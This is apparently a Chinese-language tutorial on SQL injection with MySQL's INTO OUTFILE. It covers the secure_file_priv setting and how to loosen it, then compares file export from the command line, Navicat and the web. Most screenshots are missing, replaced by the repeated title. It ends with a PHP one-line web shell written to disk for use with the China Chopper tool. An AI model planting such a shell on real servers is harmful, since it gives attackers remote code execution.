sql注入下的outfile

一、关于写入本地文件类型注入的思考

secure_file_priv="/"

 

secure_file_priv 的开关问题

默认情况下:

sql注入下的outfile

我们查一下这个secure_file_priv得到下面的结果

sql注入下的outfile

可以看到,本地value的值为NULL。NULL代表什么意思呢?经查资料:

(1)NULL,表示禁止。

(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。

(3)如果为空,则表示不限制目录。

因为在my.ini的配置文件下没有secure_file_priv所以有一下解决的方案:

1.secure_file_priv=

让这个值等于空,此后就可以指定任意存储路径(便于我们的日后寻找)

修改配置文件:

sql注入下的outfile

修改后的结果:

sql注入下的outfile

再尝试导入文件:

sql注入下的outfile

查看对应路径下的结果:

sql注入下的outfile

关于路径的书写:

第一次写错的情况:

sql注入下的outfile

正确的结果:

sql注入下的outfile

最终结果:

sql注入下的outfile

  1. secure_file_priv=“指定路径”

  2.1当secure_file_priv=“\”时的情况

  该情况下为导出在当前目录

因此分别用dos命令下、navicat、和web三种方式导出对比:

2.1.1命令行下的结果:

sql注入下的outfile

 

sql注入下的outfile

看看文件的位置:

sql注入下的outfile

因为在命令行下没有指定数据库,所以直接在data(默认)下直接建立一个文件

指定数据库的情况:

sql注入下的outfile

 Ps:其实navicat下的结果和命令行差不多,就不在这里赘述了

2.1.2web下的结果

为什么考虑web呢?哪有那么多为什么!哼......

 

sql注入下的outfile

结果:

sql注入下的outfile

Okk进入正题了

现在成功的将文件写入到文件目录,我们写了一句话木马

<?php @eval(_post[“crow”]);?>

到文件中,然后使用中国菜刀试试